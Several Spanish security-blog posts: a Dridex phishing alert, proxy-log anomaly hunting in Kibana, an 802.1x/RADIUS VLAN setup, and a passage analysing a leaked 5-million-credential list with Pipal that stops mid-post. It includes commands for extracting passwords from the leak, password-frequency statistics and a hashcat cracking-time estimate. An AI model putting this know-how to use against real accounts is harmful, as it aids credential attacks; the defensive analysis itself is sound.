Perros viejos con nuevos trucos: Nueva campaña de Dridex

Dicen que los perros viejos no aprenden trucos nuevos. Pues parece que los malos sí que son capaces de hacerlo. Desde primera hora del día de hoy nos hemos encontrado con una campaña masiva de correos maliciosos enviados desde múltiples orígenes, pero todos con un patrón común:

  • Asunto con el texto “Remittance Advice for 918.97 GBP” (la cantidad varía según el correo).
  • Un adjunto con el nombre BAC_XXXXXXY.xls (5-6 números y una letra).

[Read more…]

¿Inmortalidad empresarial?

Hace ya demasiado tiempo pasé cerca de un año en el Georgia Institute of Technology de Atlanta, continuando con mis estudios universitarios. Al poco tiempo de llegar, el que debía ser el responsable de seguridad nos dio una charla en la que se congratulaba por el hecho de que Atlanta ya no fuese la ciudad más peligrosa de EEUU, sino la segunda (hablamos aproximadamente de 1999). Además advertía, haciendo énfasis en los más jóvenes, que tuviesen cuidado con las ilusiones de inmortalidad propias de la adolescencia, evitasen riesgos innecesarios y adoptasen ciertas medidas de seguridad.

Tengo la sensación de que ese tipo de fantasía se aplica de manera muy adecuada a la mayoría de empresas. En general, el pensamiento que todavía impera en muchas organizaciones es el que ya conocemos: eso no nos puede pasar a nosotros. El equivalente es el que se sube al coche pensando que los accidentes le pasan a todo el mundo menos a él y prescinde del cinturón de seguridad y de cualquier límite de velocidad “razonable”.

Sin embargo, hay dos hechos innegables. El primero es que los accidentes siguen ocurriendo. Afortunadamente, son cada vez menos y pocas veces son graves, pero ahí están las estadísticas. El segundo, que los accidentes descienden gracias a las medidas de seguridad que se van diseñando e implantando y no por intervención divina: cinturón de seguridad, airbags, control de tracción, ABS, control de estabilidad, carroceria deformable, habitáculo rígido, etc., además de las diferentes campañas de sensibilización y concienciación.

La cuestión es que muchas empresas están todavía en la adolescencia de la era digital. Esa en la que piensan que hagan lo que hagan, el peligro no existe: que el cifrado es propio de los paranoicos, que Alfredo1976 es una contraseña válida, que el comedor es un lugar tan bueno como otro para el servidor corporativo o que la destrucción de papel no es, en fin, algo tan imprescindible.

Poco a poco, algunas de éstas madurarán y entenderán que los riesgos son reales; implantarán controles de seguridad y asumirán no sólo que a veces sí pasan cosas, sino que es necesario aplicar medidas para que no pasen. Que, tal y como sucede con la conducción, están expuestos no sólo a atacantes sino a empresas que no toman esas medidas de seguridad (aspecto que nos da para otra entrada: la necesidad de entender que tu inseguridad les afecta a los demás). Otras empresas acabarán aprendiendo a base de golpes y por último —y aquí vamos a dejar de lado el símil por razones evidentes—, algunas tendrán que echar el cierre.

¿Garantiza un automóvil en buen estado, con las medidas de seguridad básicas y una conducción responsable que no tengamos accidentes? No, por desgracia. Pero sí los hace mucho menos probables y reduce significativamente sus consecuencias. Lo mismo sucede con la seguridad digital.

Quizá esta entrada les haya parecido poco útil. Si es así, piensen en las campañas de concienciación de la DGT. ¿De verdad piensan que no sirven de nada?

Análisis de un Squid Log con Logstash

Hace unos meses, nuestro compañero Jose Vila ya nos habló de Logstash como alternativa a Splunk para análisis de logs, poniendo como ejemplo como se podía analizar un conjunto de logs de Apache y contándonos cómo personalizar un dashboard de Kibana para analizar alertas procedentes de Snort [1] [2]. En esta ocasión vamos a continuar hablando de Logstash, poniendo como ejemplo como buscar algunas anomalías en un fichero de log de un proxy de navegación de un Squid.

Lo primero a tener en cuenta sería definir el fichero de configuración que le pasaremos a Logstash para que nos interprete, de la manera adecuada, el log del Squid. Este fichero es el que yo me he definido (se puede descargar del siguiente repositorio: https://github.com/mmorenog/Kibana):

Una vez definido el fichero de configuración podemos cargar en Kibana el fichero de log a analizar:


[Imagen 1]

En este dashboard inicial vemos el histograma con todos los eventos del log, seguido de una visualización detallada de cada línea del log interpretada como le hemos indicado en el fichero de configuración que previamente hemos diseñado. A continuación un detalle de una de las líneas:


[Imagen 2]

Para ir perfilando nuestro dashboard de visualización, podemos ir añadiendo paneles con la información que nos interese, como por ejemplo el tamaño medio de las peticiones, el tiempo medio desde que se lleva a cabo una petición y se obtiene respuesta, destinos menos solicitados, content-type más anómalos, etc.

Un ejemplo de como crear un panel para que nos muestre el tamaño medio de las respuestas que seleccionemos en nuestro histograma de eventos, sería el siguiente:


[Imagen 3]

Añadiendo los paneles anteriormente comentados, nuestro dashboard para el log del Squid tendría el siguiente aspecto:


[Imagen 4]

Comentar en este punto, que cualquier búsqueda o filtrado que hagamos sobre nuestro histograma de eventos, afectará a todos los paneles que tenemos en el dashboard, ciñéndose los resultados a la búsqueda/filtrado que se han llevado a cabo. Por ejemplo, si hacemos una búsqueda en una determinada franja horaria de los métodos HTTP más utilizados, nuestro dashboard adoptaría el siguiente aspecto:


[Imagen 5]

Como se observa, las peticiones pueden quedarse fijas en el histograma diferenciándose por colores. También es posible generar un gráfico de barras con la cuenta total de los resultados de las búsquedas que hemos realizado en el intervalo temporal solicitado, como se muestra a la derecha.

Otra búsqueda que podemos hacer sería la de obtener un Top 10 de los destinos más solicitados dejando fija esta petición del Top 10 en el panel de búsqueda:


[Imagen 6]

O incluso añadiendo también las URI más solicitadas:


[Imagen 7]

Una vez hemos visto las posibilidades de representación que nos permite Kibana a la hora de diseñar paneles de visualización, comentemos algunas anomalías indicativas de compromiso a tener en cuenta en un proxy de navegación:

  • Identificar conexiones a servidores C&C en listas negras (importante mantener actualizadas estas listas).
  • Identificar tráfico en horario no laboral (cualquier tráfico de navegación fuera del horario habitual es una anomalía a investigar, sin embargo, la mayoría del malware avanzado respeta el horario no laboral e incluso algunos, los días festivos de la región/país).
  • Identificar conexiones periódicas a servidores de C&C (por ejemplo, anómalo sería que un equipo estuviera haciendo conexiones cada día entre las 8:00am y las 10:00am exactamente al mismo destino cada 3 minutos). Igual que antes, si el malware es lo suficientemente sofisticado, programará aleatoriedad en sus conexiones para no caer en ningún tipo de periodicidad que pudiera dar indicios de un patrón identificable.
  • Identificación de anomalías estadísticas univariables:
    • Dominios menos solicitados.
    • Content-Type estadísticamente anómalos.
    • etc.
  • Identificación de anomalías mediante análisis estadístico multivariable; es decir, campos que no son anómalos por sí mismos, pero cuya combinación si lo es:
    • Detección de exfiltraciones satelitales (extremadamente lentas). Por ejemplo conexiones de un tamaño pequeño frente a un tiempo de conexión alto.
    • Otro ejemplo podría ser una combinación anómala de Content-Type, código HTTP y tamaño de la transacción.
      • Imaginemos detectar un equipo haciendo peticiones a un dominio y que éste devuelva siempre un 404, un tamaño grande y variable, y contenido binario. Como se observa, un campo por sí solo no muestra evidencias de ser algo extraño, sin embargo la combinación de todos lo es; una página que se pide constantemente y no se encuentra, que devuelve un tamaño grande y cambiante, con formato de aplicación…cuanto menos habría que investigar el comportamiento.

Pongamos ahora en práctica con Kibana la búsqueda de algunas de las anomalías citadas.

Si nos fijamos en la [Imagen 4], en el panel de los “Content-Type” menos solicitados, nos llama la atención por ejemplo uno denominado “JPeg”, lo cual es un formato inválido, y por tanto anómalo y cuya petición que lo ha generado habría que investigar.

Partiendo de nuevo de la [Imagen 4], vemos que el tiempo de petición medio que tenemos es de 4,585 y el tamaño medio de respuesta es de 53,427. Por tanto, para acotar una zona de eventos en nuestro log que nos pueda mostrar “conexiones lentas”, se podría obtener para una consulta del tipo request_msec:>4585 and request_size:<5327. El resultado podría ser algo susceptible de ser analizado en profundidad.


[Imagen 8]

Otra búsqueda interesante que podríamos hacer es la de buscar todos aquellos “gif” (que aparezcan en el uri_param), sin embargo que en el content_type no aparezca el tipo esperado para un “gif”, sino algo que pudiera identificar un ejecutable por ejemplo. Esas peticiones que aparecen en nuestro log deberíamos estudiarlas:


[Imagen 9]

Otra búsqueda interesante, podría ser investigar qué peticiones nos están devolviendo 404 y un tamaño de respuesta superior a un determinado umbral que le especifiquemos o dentro de un intervalo (Ej: response_status:404 AND response_size:[1000 TO 100000]). Lo habitual quizá, es que el tamaño devuelto por un 404 no sea demasiado elevado:


[Imagen 10]

También podemos querer averiguar los “exe” que se han estado descargando:


[Imagen 11]

Como vemos, las posibilidades de buscar anomalías son bastante amplias, y Kibana puede ser una buena herramienta para ayudarnos a complementar los análisis de nuestros logs. Personalmente echo en falta (o yo no he sabido implementarlo) un método que me permita calcular periodicidades en las conexiones, facilidad de integración con fuentes externas -para que sea capaz de correlar algunos datos- y que incorpore su propia base de datos de inteligencia, a la cual se la permitiera ir autoaprendiendo.

En este ejemplo hemos buscado algunas de las anomalías más conocidas, pero si tratamos de investigar registros procedentes de compromisos por ataques avanzados, que implican una mayor dificultad para encontrar evidencias de compromiso, una herramienta que nos amplía las posibilidades es CARMEN (Centro de Análisis de Registros y Minería de Eventos) [PDF] , pensada para la detección de amenazas persistentes avanzadas y fruto de proyectos de I+D+i y explotación de seguridad por parte del CCN (Centro Criptológico Nacional) y S2 Grupo, la cual está dotada de inteligencia, capacidad de autoaprendizaje y facilidad de integración con diferentes fuentes.

Aprovecho para comentar que, se ofrecerá un taller sobre CARMEN en las VIII Jornadas STIC CCN-CERT, que se celebraran el próximo diciembre. Allí os esperamos y para el que no pueda asistir, no os preocupéis que os lo iremos contando por aquí :)

pwnConf: 1er evento de SysAdmin/Devops, Networking y Seguridad Informática en Mar del Plata, Argentina

Hoy os presentamos pwnConf, una conferencia de carácter 100% técnico que se realiza el día 23 de Noviembre en la ciudad de Mar del Plata y que reunirá investigaciones de profesionales de distintas partes del país.

Entre las principales temáticas que que se tratarán en el evento se encuentra la Seguridad Informática, contando también con gran cantidad de charlas orientadas con perfil de SysAdmin/DevOps y Networking. Todas las charlas incluyen un altísimo nivel de vanguardia tecnológica, que se puede vislumbrar fácilmente en charlas con temáticas tan variadas y actuales como Big Data, Privacidad en Internet, NoSQL, Cloud Computing, Clustering y Desarrollo de Librerías.

Además de su carácter de conferencia tradicional —con ponentes con charlas de 40 minutos de duración— el evento también tendrá un acentuado perfil de desconferencia, en donde los asistentes podrán anotarse libremente para dar lightning talks de 10 minutos de duración con absoluta libertad sobre las temáticas a tratar.

En el sitio oficial de pwnConf podéis encontrar el cronograma completo de charlas, así como también la lista de ponentes y el correspondiente enlace al registro, que si bien es 100% libre y gratuito, está limitado a la capacidad física del lugar.

El fin último de pwnConf es brindar un entorno en donde intercambiar conocimientos, compartiendo experiencias con amigos y colegas en un ambiente descontracturado e ideal para el aprendizaje.

La conferencia está orientada principalmente a estudiantes de carreras afines a la informática, profesionales, empresas, entusiastas e investigadores. Podéis tener toda la información disponible en pwnconf.org

Evolucionando nuestro VPMS

En este mismo blog, hace ya casi dos años, vimos el uso de un servidor VPMS (VLAN Management Policy Server) como punto de partida para poder asignar de forma dinámica los equipos de nuestra red a las distintas vLANs corporativas. Esta asignación estaba basada en la dirección MAC de los clientes, algo que habitualmente es complicado de mantener.

Tiempo mas tarde, hablamos de AAA (authentication, authorization and accounting ) en dos entradas (ver la primera y la segunda), donde vimos a modo de ejemplo, la autenticación de la conexión a red de los usuarios mediante 802.1x, usando para ello un servidor Radius.

Teniendo esto en mente como punto de partida, usaremos ambas aproximaciones para mejorar el control de acceso basado en MAC, mediante un control de acceso basado en usuario con asignación dinámica de vLAN.

Para ello, dispondremos de los siguientes elementos:

  • Switch de acceso a la red (Cisco 2960) como Authenticator (172.18.0.200).
  • Servidor Radius (Freeradius) como Authentication Server (172.17.2.23).
  • Equipo de usuario (Microsoft Windows) como Supplicant.

La configuración inicial es similar a la vista en las entradas comentadas anteriormente; únicamente cambia la configuración de un router a un switch, no obstante, la repasamos rápidamente:

Configuramos nuestro switch como cliente Radius

client 172.18.0.200
{
secret = password
shortname = switch
nasstype = cisco
}

Configuramos un usuario en el servidor Radius:

juanito Cleartext-Password := "password" 
        Service-Type = NAS-Prompt-User, 

Configuramos el grupo de autenticación Radius en nuestro switch:

Switch(config)# aaa new-model
Switch(config)# aaa authentication dot1x default group radius
Switch(config)# aaa authorization network default group radius
Switch(config)# radius-server host 172.17.2.23 auth-port 1812 acct-port  1813
Switch(config)# radius-server deadtime 15
Switch(config)# radius-server key password

Probamos el acceso desde el propio dispositivo:

Switch(config)# test aaa group radius juanito password  legacy   
Attempting authentication test to server-group radius using radius
User was successfully authenticated.

Lógicamente, en nuestro servidor Radius vemos la petición de autenticación:

Sending Access-Accept of id 3 to 172.18.0.200 port 1645
	Service-Type = NAS-Prompt-User
Finished request 0.
Going to the next request
Waking up in 4.9 seconds.
Cleaning up request 0 ID 3 with timestamp +54
Ready to process requests.

A continuación, activamos 802.1x en el switch y lo configuramos en las distintas interfaces que deben autenticar las conexiones:

Switch(config)# dot1x system-auth-control 
Switch(config)# interface fastethernet0/1
Switch(config-if)# switchport mode access
Switch(config-if)# dot1x port-control auto 

En primera instancia, tras configurar el cliente Microsoft Windows para que use 802.1x, sin proporcionarle credenciales validas (intenta conectar como usuario admin), el puerto se encuentra en estado unauthorized.

rad_recv: Access-Request packet from host 172.18.0.200 port 1645, id=7, length=252
	User-Name = "admin"
	Service-Type = Framed-User
	Framed-MTU = 1500
	Called-Station-Id = "00-24-F7-31-65-01"
	Calling-Station-Id = "00-23-8B-D7-C2-B3"
	EAP-Message = 0x0204005719800000004d160301004801000044030154645b90ee44b4c850d326f
c8490c49f27f059d0f4678e7af4de61f3ee59458600001600040005000a000900640062000300060013001200
6301000005ff01000100
	Message-Authenticator = 0xeff1ecf7d1d39606489db0221e8c5329
	NAS-Port-Type = Ethernet
	NAS-Port = 50001
	NAS-Port-Id = "FastEthernet0/1"
	State = 0x192fe485182bfd62a347eaa218ef304c
	NAS-IP-Address = 172.18.0.200

Dot1x Info for FastEthernet0/1
-----------------------------------
PAE                       = AUTHENTICATOR
PortControl               = AUTO
ControlDirection          = Both 
HostMode                  = SINGLE_HOST
Violation Mode            = PROTECT
ReAuthentication          = Disabled
QuietPeriod               = 60
ServerTimeout             = 30
SuppTimeout               = 30
ReAuthPeriod              = 3600 (Locally configured)
ReAuthMax                 = 2
MaxReq                    = 2
TxPeriod                  = 30
RateLimitPeriod           = 0

Dot1x Authenticator Client List Empty

Port Status               = UNAUTHORIZED

Tras proporcionar credenciales validas (usuario juanito), el puerto queda autorizado para la conexión:

Dot1x Info for FastEthernet0/1
-----------------------------------
PAE                       = AUTHENTICATOR
PortControl               = AUTO
ControlDirection          = Both 
HostMode                  = SINGLE_HOST
Violation Mode            = PROTECT
ReAuthentication          = Disabled
QuietPeriod               = 60
ServerTimeout             = 30
SuppTimeout               = 30
ReAuthPeriod              = 3600 (Locally configured)
ReAuthMax                 = 2
MaxReq                    = 2
TxPeriod                  = 30
RateLimitPeriod           = 0

Dot1x Authenticator Client List
-------------------------------
Domain                    = DATA
Supplicant                = 0023.8bd7.c2b3
    Auth SM State         = AUTHENTICATED
    Auth BEND SM State    = IDLE
          
Port Status               = AUTHORIZED
Authentication Method     = Dot1x
Authorized By             = Authentication Server
Vlan Policy               = N/A

Como podemos ver, no se ha asignado ninguna vLAN a la conexión autenticada, dejando esta asignación directamente al switch.

Hasta aquí, todo ha funcionado de forma similar a lo visto en el post sobre AAA. Ahora estamos en el punto de partida para poder asignar las distintas vLANs a los usuarios.

Como ya vimos, lo primero es dar de alta las interfaces en el switch. En este caso, creamos una vLAN adicional (24) cuyo uso veremos más tarde:

VLAN Name                             Status    Ports
---- -------------------------------- --------- -------------------------------
21   GESTION                          active
22   USUARIOS                         active
23   INVITADOS                        active
24   RESTRICTED                       active

Lo primero que haríamos podría ser asignar a todos los clientes que no han sido autenticados, en la vLAN de invitados. En esta vLAN se podría permitir sólo cierto tipo de tráfico en nuestra red.

Para ello, definimos la vLAN guest en la interfaz configurada:

Switch(config)# interface fas 0/1
Switch(config-if)# dot1x guest-vlan 23

De esta forma, cuando el cliente conecta, la conexión inicia el proceso de autenticación (authenticating), indicando que ya dispone de una Guest-Vlan configurada:

Dot1x Info for FastEthernet0/1
-----------------------------------
PAE                       = AUTHENTICATOR
PortControl               = AUTO
ControlDirection          = Both 
HostMode                  = SINGLE_HOST
Violation Mode            = PROTECT
ReAuthentication          = Disabled
QuietPeriod               = 60
ServerTimeout             = 30
SuppTimeout               = 30
ReAuthPeriod              = 3600 (Locally configured)
ReAuthMax                 = 2
MaxReq                    = 2
TxPeriod                  = 30
RateLimitPeriod           = 0
Guest-Vlan                = 23  

Dot1x Authenticator Client List
-------------------------------
Domain                    = DATA
Supplicant                = 0023.8bd7.c2b3
    Auth SM State         = AUTHENTICATING
    Auth BEND SM State    = REQUEST
Port Status               = UNAUTHORIZED
Authentication Method     = Dot1x

Tras vencer el timeout (la autenticación no ha sido denegada), podemos ver como el puerto queda asignado a la vLAN de invitados:

Dot1x Info for FastEthernet0/1
-----------------------------------
PAE                       = AUTHENTICATOR
PortControl               = AUTO
ControlDirection          = Both 
HostMode                  = SINGLE_HOST
Violation Mode            = PROTECT
ReAuthentication          = Disabled
QuietPeriod               = 60
ServerTimeout             = 30
SuppTimeout               = 30
ReAuthPeriod              = 3600 (Locally configured)
ReAuthMax                 = 2
MaxReq                    = 2
TxPeriod                  = 30
RateLimitPeriod           = 0
Guest-Vlan                = 23

Dot1x Authenticator Client List Empty

Domain                    = DATA
Port Status               = AUTHORIZED
Authorized By             = Guest-Vlan
Operational HostMode      = MULTI_HOST
Vlan Policy               = 23

El siguiente punto podría ser diferenciar la autenticación por timeout de una autenticación expresamente denegada. En versiones más actuales de IOS, es posible diferenciar esto mediante el uso de dos vLANs, para ello, usaremos nuestra vLAN 24, y de igual manera, configuramos el puerto.

Switch(config)# interface fas 0/1
Switch(config-if)# dot1x auth-fail max-attempts 1 
Switch(config-if)# dot1x auth-fail vlan 24

Tras fallar expresamente la autenticación, el puerto queda asignado a dicha vLAN, sin acceso a la red:

Dot1x Info for FastEthernet0/1
-----------------------------------
PAE                       = AUTHENTICATOR
PortControl               = AUTO
ControlDirection          = Both 
HostMode                  = SINGLE_HOST
Violation Mode            = PROTECT
ReAuthentication          = Disabled
QuietPeriod               = 60
ServerTimeout             = 30
SuppTimeout               = 30
ReAuthPeriod              = 3600 (Locally configured)
ReAuthMax                 = 2
MaxReq                    = 2
TxPeriod                  = 30
RateLimitPeriod           = 0
Auth-Fail-Vlan            = 24
Auth-Fail-Max-attempts    = 1
Guest-Vlan                = 23

Dot1x Authenticator Client List
-------------------------------
Domain                    = DATA
Supplicant                = 0024.beec.2526
    Auth SM State         = AUTHENTICATED
    Auth BEND SM State    = IDLE
Port Status               = AUTHORIZED
Authentication Method     = Dot1x
Authorized By             = Auth-Fail-Vlan
Vlan Policy               = 24

Y podemos ver la asignación directamente en el switch:

Switch# show  vlan id 24

VLAN Name                             Status    Ports
---- -------------------------------- --------- -------------------------------
24   RESTRICTED                       active    Fa0/1

Finalmente, llegamos al objetivo deseado, poder asignar a nuestro usuario juanito a la vLAN de GESTION (21) como gestor de red que es. Para ello, debemos definir esta asignación en el fichero de usuarios de Radius:

juanito Cleartext-Password := "password"
     	Service-Type = NAS-Prompt-User,
        Tunnel-type=VLAN,
        Tunnel-Medium-Type=IEEE-802,
        Tunnel-Private-Group-Id="21",

Tras volver a autenticarnos en el sistema, veremos en el log del servidor el envío de los nuevos parámetros definidos para la asignación de vLAN:

Sending Access-Accept of id 22 to 172.18.0.200 port 1645
	Service-Type = NAS-Prompt-User
	Tunnel-Type:0 = VLAN
	Tunnel-Medium-Type:0 = IEEE-802
	Tunnel-Private-Group-Id:0 = "21"
	User-Name = "juanito"

Quedando la interfaz donde se ha conectado el cliente, asignada finalmente a la vLAN de gestión:

Dot1x Info for FastEthernet0/1
-----------------------------------
PAE                       = AUTHENTICATOR
PortControl               = AUTO
ControlDirection          = Both 
HostMode                  = SINGLE_HOST
Violation Mode            = PROTECT
ReAuthentication          = Disabled
QuietPeriod               = 60
ServerTimeout             = 30
SuppTimeout               = 30
ReAuthPeriod              = 3600 (Locally configured)
ReAuthMax                 = 2
MaxReq                    = 2
TxPeriod                  = 30
RateLimitPeriod           = 0
Critical-Auth             = Enabled
Auth-Fail-Vlan            = 24
Auth-Fail-Max-attempts    = 1
Guest-Vlan                = 23

Dot1x Authenticator Client List
-------------------------------
Domain                    = DATA
Supplicant                = 0024.beec.2526
    Auth SM State         = AUTHENTICATED
    Auth BEND SM State    = IDLE
Port Status               = AUTHORIZED
          
Authentication Method     = Dot1x
Authorized By             = Authentication Server
Vlan Policy               = 21


Switch# show  vlan id 21

VLAN Name                             Status    Ports
---- -------------------------------- --------- -------------------------------
21   GESTION                          active    Fa0/1

Con esta asignación, podríamos mejorar la seguridad de nuestra red interna un poco más que con la solución VPMS vista, ya que el control de acceso se realizaría en base al usuario y no al dispositivo.

Lógicamente, podemos disponer de ambas soluciones, dependiendo de las necesidades de acceso a nuestra red. Por ejemplo, dejando la parte de autenticación de usuarios a los controladores de dominio existentes y unificando criterios de seguridad a nivel de contraseñas. Otro caso podría ser una visita que requiere acceso a internet (vía red cableada) pero no dispone de usuario en el dominio; en este caso, la vLAN de invitados podría redirigir el tráfico a un portal cautivo sobre el cual dispondría de unas credenciales temporales de uso durante su estancia en las oficinas.

Aunque hemos visto una breve aproximación de un control de acceso a red, existen multitud de soluciones NAC en el mercado, tanto libres como comerciales, para controlar este tipo de accesos, no sólo proporcionando acceso a la red en caso de disponer de usuario válido, sino también, para comprobar el sistema cliente y verificar que dispone de antivirus actualizado, parches de seguridad instalados, etc.

Esperamos que os haya resultado interesante. Si tenéis alguna duda o comentario sobre su aplicación, implementación o funcionamiento, podéis indicarlo en los comentarios.

Analizando un leak de contraseñas con Pipal

Hace unas semanas se publicó un ‘leak’, otro más, con multitud de contraseñas aparentemente asociadas a un servicio web conocido. Ya nos estamos acostumbrando a este tipo de noticias, y esta vez se ha apuntado con el dedo a la todopoderosa Google como fuente de esta publicación, con nada menos que alrededor de 5 millones de usuarios comprometidos.

Desde Google indican que no se trata de un ataque dirigido ni un compromiso de ninguno de los servidores de la empresa, sino que apuntan a que se puede tratar de una recopilación elaborada con mucha paciencia, y que menos de un 2% de las combinaciones de usuario y contraseña podrían haber funcionado. A pesar de ello nunca está de más echar un pequeño vistazo a las credenciales publicadas y, además de comprobar si nosotros o amigos y familiares están comprometidos, poder realizar un pequeño análisis y comprobar el estado de la concienciación en materia de seguridad de las contraseñas.

Para la primera tarea nos ponemos a buscar por el documento de texto y nos quedamos tranquilos tras comprobar que ni nosotros ni ningún conocido aparecen en esta publicación. Si no has podido obtener este ‘leak’ puedes acceder al proyecto Have I been pwned? del investigador de seguridad Troy Hunt, que recopila cuentas de correo comprometidas en este y otros ‘leaks’ importantes, y comprobar tus cuentas de correo.

Para la segunda tarea, vamos a emplear una utilidad que realiza el análisis de forma automática. La utilidad se llama Pipal y ha sido creada por Robin Wood (@digininja) precisamente para esta tarea: analizar los listados de contraseñas obtenidos, en su caso tras realizar las auditorías de seguridad que Robin lleva a cabo durante su trabajo habitual. Como el propio Robin indica “Antes de continuar debo resaltar que lo único que hace esta aplicación es proporcionar las estadísticas e información necesaria para ayudarte a analizar las contraseñas. El verdadero trabajo lo debes realizar tú interpretando los resultados. Yo te doy los números, tú cuentas la historia”.

Veamos como funciona la aplicación y los resultados que nos puede mostrar. Pipal se puede descargar desde github, y es una aplicación en Ruby autocontenida que podemos ejecutar en cualquier instalación estándar de Ruby, sin ningún otro requisito adicional.

$ ./pipal/pipal.rb -?
pipal 3.1 Robin Wood (robin@digi.ninja) (http://digi.ninja)

Usage: pipal [OPTION] ... FILENAME
     --help, -h, -?: show help
     --top, -t X: show the top X results (default 10)
     --output, -o : output to file
     --gkey : to allow zip code lookups (optional)
     --list-checkers: Show the available checkers and which are enabled
     --verbose, -v: Verbose

     FILENAME: The file to count

El listado contiene direcciones de correo electrónico. Necesitamos convertir el fichero a UTF8 para que pueda ser procesado correctamente, así que ejecutamos las siguientes órdenes para dejarlo preparado:

cat google_5000000_passwords.txt | awk -F":" '{print $2}' > pass.txt

iconv -f 437 -t utf8 pass.txt > pass-utf8.txt

Tras esto, pasamos ya a ejecutar la aplicación con el fichero de contraseñas obtenido:

./pipal/pipal.rb pass-utf8.txt -o salida.txt -v

Empezamos a ver en la consola como la aplicación se pone a realizar su trabajo. Tras unos minutos (u horas, según el equipo utilizado), obtenemos los resultados, que pasamos a analizar.

En primer lugar obtenemos los resultados generales, donde podemos ver las contraseñas más utilizadas, y aquellas “base words” (palabras que forman parte de la contraseña) que aparecen con mayor frecuencia:

Basic Results

Total entries = 4926343
Total unique entries = 3120179

Top 10 passwords
123456 = 48003 (0.97%)
password = 11593 (0.24%)
123456789 = 11162 (0.23%)
12345 = 8119 (0.16%)
qwerty = 5925 (0.12%)
12345678 = 5253 (0.11%)
111111 = 3524 (0.07%)
abc123 = 3016 (0.06%)
123123 = 2990 (0.06%)
1234567 = 2915 (0.06%)

Top 10 base words
password = 17596 (0.36%)
qwerty = 11061 (0.22%)
love = 3424 (0.07%)
monkey = 3213 (0.07%)
dragon = 3043 (0.06%)
hello = 2804 (0.06%)
iloveyou = 2778 (0.06%)
abcd = 2264 (0.05%)
welcome = 2241 (0.05%)
july = 2225 (0.05%)

Aquí podemos ver cómo, a pesar de los múltiples esfuerzos de la comunidad en este aspecto, las contraseñas más utilizadas siguen siendo o siguen teniendo palabras o secuencias de caracteres que consideramos inseguras.

Los conjuntos de dígitos o las sucesiones de caracteres tal y como se encuentran en el teclado, así como palabras comunes, entre las que destaca la propia palabra “password” (contraseña en inglés) copan los primeros lugares.

A continuación aparecen dos listas donde se muestra la longitud de las contraseñas, ordenadas por número de caracteres y por frecuencia de aparición, respectivamente, junto con un pequeño gráfico en ASCII que muestra la distribución de las mismas:

Password length			Password length
(length ordered)		(count ordered)
1 = 853 (0.02%)			8 = 1424125 (28.91%)
2 = 1565 (0.03%)		6 = 926282 (18.8%)
3 = 12721 (0.26%)		10 = 682219 (13.85%)
4 = 45572 (0.93%)		9 = 681330 (13.83%)
5 = 143317 (2.91%)		7 = 663424 (13.47%)
6 = 926282 (18.8%)		11 = 151685 (3.08%)
7 = 663424 (13.47%)		5 = 143317 (2.91%)
8 = 1424125 (28.91%)	        12 = 93010 (1.89%)
9 = 681330 (13.83%)		4 = 45572 (0.93%)
10 = 682219 (13.85%)	        13 = 42293 (0.86%)
11 = 151685 (3.08%)		14 = 24787 (0.5%)
12 = 93010 (1.89%)		15 = 14812 (0.3%)
13 = 42293 (0.86%)		3 = 12721 (0.26%)
14 = 24787 (0.5%)		16 = 7277 (0.15%)
15 = 14812 (0.3%)		17 = 2548 (0.05%)
16 = 7277 (0.15%)		32 = 2512 (0.05%)
17 = 2548 (0.05%)		18 = 1780 (0.04%)
18 = 1780 (0.04%)		2 = 1565 (0.03%)
19 = 1079 (0.02%)		20 = 1169 (0.02%)
20 = 1169 (0.02%)		19 = 1079 (0.02%)
21 = 451 (0.01%)		1 = 853 (0.02%)
22 = 387 (0.01%)		21 = 451 (0.01%)
23 = 288 (0.01%)		22 = 387 (0.01%)
24 = 257 (0.01%)		23 = 288 (0.01%)
25 = 172 (0.0%)			24 = 257 (0.01%)
26 = 118 (0.0%)			25 = 172 (0.0%)
27 = 71 (0.0%)			26 = 118 (0.0%)
28 = 51 (0.0%)			27 = 71 (0.0%)
29 = 31 (0.0%)			28 = 51 (0.0%)
30 = 41 (0.0%)			30 = 41 (0.0%)
31 = 12 (0.0%)			40 = 33 (0.0%)
32 = 2512 (0.05%)		29 = 31 (0.0%)
33 = 6 (0.0%)			31 = 12 (0.0%)
34 = 7 (0.0%)			35 = 11 (0.0%)
35 = 11 (0.0%)			34 = 7 (0.0%)
36 = 4 (0.0%)			33 = 6 (0.0%)
37 = 6 (0.0%)			37 = 6 (0.0%)
38 = 3 (0.0%)			50 = 5 (0.0%)
39 = 1 (0.0%)			36 = 4 (0.0%)
40 = 33 (0.0%)			53 = 4 (0.0%)
41 = 3 (0.0%)			122 = 3 (0.0%)
42 = 2 (0.0%)			41 = 3 (0.0%)
44 = 2 (0.0%)			45 = 3 (0.0%)
45 = 3 (0.0%)			38 = 3 (0.0%)
50 = 5 (0.0%)			44 = 2 (0.0%)
53 = 4 (0.0%)			42 = 2 (0.0%)
54 = 2 (0.0%)			56 = 2 (0.0%)
56 = 2 (0.0%)			64 = 2 (0.0%)
64 = 2 (0.0%)			54 = 2 (0.0%)
65 = 1 (0.0%)			65 = 1 (0.0%)
67 = 1 (0.0%)			67 = 1 (0.0%)
85 = 1 (0.0%)			85 = 1 (0.0%)
91 = 1 (0.0%)			91 = 1 (0.0%)
122 = 3 (0.0%)			39 = 1 (0.0%)
136 = 1 (0.0%)			136 = 1 (0.0%)
    ||                                                                  
    ||                                                                  
    ||                                                                  
    ||                                                                  
    ||                                                                  
    ||                                                                  
    ||                                                                  
    ||                                                                  
    ||                                                                  
    ||                                                                  
    ||                                                                  
    ||                                                                  
   ||||                                                                 
   ||||                                                                 
   ||||                                                                 
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
000000000011111111112222222222333333333344444444445555555555666666666677
012345678901234567890123456789012345678901234567890123456789012345678901

Podemos ver como las contraseñas de 8 caracteres son las que más aparecen, y el rango entre 6 y 10 caracteres es en el que se encuentran la mayoría de las contraseñas.

Teniendo en cuenta un equipo potente que utilice la herramienta oclhashcat (del que ya hemos hablado anteriormente en este blog), que las contraseñas únicamente contienen minúsculas y caracteres alfanuméricos, y suponiendo que se obtienen las contraseñas en MD5 (lo que es bastante común), se podría recorrer todo el espacio de contraseñas de 10 caracteres en algo menos de un día, así que, aunque a priori 10 caracteres pueda parecer muy seguro, vemos que no es así.

También cabe destacar la aparición de más de 2500 contraseñas de longitud 32, cuando únicamente aparecen pocas decenas de casos de contraseñas con longitudes vecinas. Revisando las contraseñas vemos que parecen ser hashes MD5, lo que puede significar 2 cosas: o bien no han sido descifradas o bien alguien ha introducido la suma MD5 de algún fichero como contraseña (veo que no soy el único que lo ha hecho alguna vez).

A continuación, aparecen varias estadísticas interesantes relacionadas con la longitud de la contraseña y el conjunto de caracteres utilizado:

